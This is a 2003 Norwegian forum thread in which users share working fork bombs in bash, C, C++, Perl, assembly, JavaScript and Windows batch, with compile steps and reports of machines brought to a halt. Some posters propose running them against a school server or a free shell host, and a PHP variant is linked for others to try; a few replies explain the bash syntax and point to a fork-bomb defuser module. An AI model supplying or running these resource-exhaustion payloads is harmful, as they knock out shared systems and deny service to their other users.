MarcelSB Skrevet 13. juli 2003 Del Skrevet 13. juli 2003 Vet ikke helt hvor linuxspesifikt dette er, men syns allikevel dette er interessant nok til at jeg poster det En forkbomb er et program eller et skript som ustoppelig lager nye prosesser til CPU-loaden er så tung at maskinen tvinges til å stoppe opp. A fork bomb is described as a program or shell script which (either intentionally or accidently) creates new processes repeatedly using the fork() system call. New processes are created so fast that within no time the process table gets filled up and the system comes to a grinding halt. Etter at mohuhau @ EFNet fant en forkbomb-oneliner som mange av oss på #hw.no/linux @ EFNet gikk på (inkludert meg ) begynte vi å diskutere dette emnet, og til slutt endte vi opp med forkbombs på seks forskjellige språk Advarsel: Dere må for all del ikke finne på å kjøre noen av disse kodene, da de kommer til å kræsje maskina fullstendig BASH (Funker på mange andre skall) :(){ :|:& };: jaromilA forkbomb (see related project descriptions) implemented as a single-line/13 characters Unix shell script. In other words: You just have to type these 13 characters (which superficially resemble smilies or ASCII art) on the command line/the terminal window of any computer running a Unix-like operating system: : (){ :|:& };: The most elegant forkbomb code ever written. C og C++ main() { while (1) fork(); } C #include <stdio.h> #include <signal.h> int main (void) {sigset_t set; struct timespec timespec = {0, 0}; sigfillset (& set); while (1) fork(); sigtimedwait (& set, NULL, & timespec); return (0); } Perl perl -e 'fork while 1' Assembly section .text global _start _start: mov al, 2 int 0x80 jmp SHORT _start HTML / Javascript Denne sida... <html> <head> <title>Fork Bomb!</title> <script language="JavaScript"> function fork() { window.open('javascript:"<html><head><title>Fork Bomb!</title></head><body onunload="javascript:window.open(window.location);window.open(window.location)" onload="javascript:window.open(window.location);window.open(window.location)"></body></html>"'); } </script> </head> <body onload="javascript:fork()"></body> </html> Kunstverk. Det finnes også en rekke artikler om dette.. Se forøvrig verdens farligste desktop MarcelSB Lenke til kommentar
mohuhau Skrevet 13. juli 2003 Del Skrevet 13. juli 2003 Vil bare legge til at jeg har kjørt :(){ :|:& };: og det gikk ok, men jeg var logget inn som vanlig bruker. Kjører du disse som root er nok eneste muligheten reboot. For å kompilere nasm koden: nasm -f elf bomb.asm ld -s -o bomb bomb.o Lenke til kommentar
Egil.B Skrevet 13. juli 2003 Del Skrevet 13. juli 2003 Kan ikke finne et vbscript eller noe som fungerer på windows 2k? Hadde vært gøy å overloadet metaframen på skolen (må jo få lov å tenke litt ondskapsfullt i sommerferien). Lenke til kommentar
Langbein Skrevet 13. juli 2003 Del Skrevet 13. juli 2003 :(){ :|:& };: Er dessverre ikke SÅ dreven i bash, kan noen forklare hva som egentlig gjøres her? Når det gjelder C-koden så kan jeg som en kuriositet nevne at da vi på universitetet skulle lære interprosess-kommunikasjon i C, fikk vi streng beskjed om at det ikke var lov å bruke fork(). Isteden hadde foreleseren laget en egen versjon - het vel safe_fork() eller noe i den duren. Der var det nemlig lagt inn begrensning på antall prosesser som kunne opprettes til 5 hvis jeg husker riktig. De var lure og tok ingen sjangser, er tross alt lett å programmere dette feil Lenke til kommentar
MarcelSB Skrevet 13. juli 2003 Forfatter Del Skrevet 13. juli 2003 Det som gjøres: :() Deklarerer funksjonen ":" { :|:& }; Kroppen til funksjonen ":" som består av kalling til egen funksjon og piping av kalling til egen funksjon til en bakgrunnsprosess. : Kaller opp funskjonen ":" igjen når funksjonen er ferdig utført. Altsa en evig løkke som produserer prosesser i all evighet MarcelSB Lenke til kommentar
Langbein Skrevet 13. juli 2003 Del Skrevet 13. juli 2003 Takk for forklaringen!! Scriptet var jo genialt. Må se å lære meg litt mer avansert bash etterhvert. Har liksom aldri giddet å sette meg skikkelig inn i det fordi jeg heller har brukt "ordentlige" scriptspråk som python og perl. Lenke til kommentar
Egil.B Skrevet 13. juli 2003 Del Skrevet 13. juli 2003 Nå har vi ihvertfall enkleste metoden å kjøre ne et gratis-shell på Hvorfor ddos'e når det kan gjøres lokalt? Lenke til kommentar
magikern Skrevet 13. juli 2003 Del Skrevet 13. juli 2003 for de som er innterressert finnes det en kur mot alt tydeligvis gaffel bomber også: http://rexgrep.tripod.com/rexfbd.htm Fork Bomb Defuser (rexFBD) allows you to configure the max_forks_per_second and max_tasks_per_user parameters, at the time of loading the module. Any possible Fork Bomb is detected using these parameters and is defused (deactivated) in real time. The uid of the user who started it, as well as the time it was started is logged in /var/log/messages for the system administrator to take action Lenke til kommentar
GNUfan Skrevet 13. juli 2003 Del Skrevet 13. juli 2003 frankcc: Du får legge inn en sperre på den koden eller noe sånn... (jeg har shell hos han ) i C++ ser koden slik ut: #include <unistd.h> int main () { while (1) { fork(); } } Kjørte den der, gkrellm viste full cpu-load, og 'ps', pkill, killall og alle disse (det var bare de jeg prøvde) klagde over at "fork" var utilgengelig. Det som er rart er at jeg ikke kunne merke forskjell i bruk av systemet ( vel og merke de programmene som var åpne). Dette kan jo ha noe med å gjøre at jeg kjører en betakjerne nå, og at fork() er bedre implementert der. Eller så har det noe med at den er preemtive. Lenke til kommentar
magikern Skrevet 13. juli 2003 Del Skrevet 13. juli 2003 loka litt rundt på google.com og fant to skumle perl komandoer: perl -MNet::Dict -le"print qq,@{$_}, for @{Net::Dict->new('dict.org')->define(shift)}" fork perl -MNet::Dict -le"print qq,@{$_}, for @{ Net::Dict->new('dict.org')->define('fork')}" veit ikke helt hvor fristende de er å prøve, siden jeg ikke har så altfor mye greie på perl. Lenke til kommentar
DummeGaas Skrevet 27. juli 2003 Del Skrevet 27. juli 2003 Vet at dette er en gammel tråd, men slik kan man lage en fork-bomb som en batchfil i windows. :a start %0 goto a Lykke til OBS: Dette skal du ikke gjøre. Det er bare der for at du og de dumme små vennene dine skal vite hva man aldri skal gjøre. Lenke til kommentar
Egil.B Skrevet 27. juli 2003 Del Skrevet 27. juli 2003 Nice! hadde jeg bare hatt Windows for hånden nå.. Noen som har testet windows forkbomben ? Lenke til kommentar
Ueland Skrevet 27. juli 2003 Del Skrevet 27. juli 2003 Red amn: Lenker som peker til ting og tang som ødelegger datamaskinen og eller forrorsaker "terror" er heller uønsket. Og ja Fork bomben for Windows funker, maskinen krasjet ikke men nå er det mye som ikke fungerer lenger. Jeg sikter da til lenken "denne siden..", slike kan godt ha det bedre navn på. *jeg ville lagt til noen smilier her men det funker ikke* Lenke til kommentar
whoi Skrevet 27. juli 2003 Del Skrevet 27. juli 2003 Den windows forkbomben klarte ihvertfall å crashe win98 som jeg hadde kjørende i vmware Måtte trykke på stopp knappen for å få avslutta! Lenke til kommentar
DanteUseless Skrevet 28. juli 2003 Del Skrevet 28. juli 2003 a: start $0 start $0 goto a: Trodde det ville gjøre noe forskjell men den gang ei. Anyway, her her screenshot (tatt gjennom vnc) for denne "forkbomb'en" kjørt på en WinXP, P3 800, 512MB RAM. Screenshot tatt gjennom vnc, pga var umulig å få ting til å reagere som jeg ville på den gitte maskina, selv om den aldri kræsja helt. -Dante Lenke til kommentar
Egil.B Skrevet 19. august 2003 Del Skrevet 19. august 2003 Noen som tør teste http://www.pastebin.org/index.php?page=sho...&key=77fdficc1a ? Ja, jeg kunne ha gjort det på alfons om jeg ville Velmont, men da hadde irssi lagget :smile: Lenke til kommentar
magikern Skrevet 19. august 2003 Del Skrevet 19. august 2003 Noen som tør teste http://www.pastebin.org/index.php?page=sho...&key=77fdficc1a ? Ja, jeg kunne ha gjort det på alfons om jeg ville Velmont, men da hadde irssi lagget :smile: gadd ikke prøve på min egen server, men hva har man vel ikke gratis webplass rundt om kring til, uansett så fikk jeg denne beskjeden: Fatal error: Call to undefined function: pcntl_fork() in /home/p/ph/phahome/public_html/fork.php on line 4 sjekket på google.com og fant ut at "pcntl_fork()" først kom i php 4.1.0, så den serveren jeg testa på har vel eldre da... Lenke til kommentar
DrDoogie Skrevet 19. august 2003 Del Skrevet 19. august 2003 Red amn: Lenker som peker til ting og tang som ødelegger datamaskinen og eller forrorsaker "terror" er heller uønsket. Det er sikkert fint det, men naa finnes det noe der ute som heter "virkeligheten". Dette "virkeligheten" blir stadig avsloert av saakalte "whistleblowers". Skulle gjerne skrevet mer om dette her, men lar det begrense seg til at jeg gjerne opplyser moderatorene om at deres fisefine innstilling er heller lite interessant. Lenke til kommentar
DanteUseless Skrevet 20. august 2003 Del Skrevet 20. august 2003 Noen som testet eller ble max_executiontime'en for liten? -Dante Lenke til kommentar
Anbefalte innlegg
Opprett en konto eller logg inn for å kommentere
Du må være et medlem for å kunne skrive en kommentar
Opprett konto
Det er enkelt å melde seg inn for å starte en ny konto!
Start en kontoLogg inn
Har du allerede en konto? Logg inn her.
Logg inn nå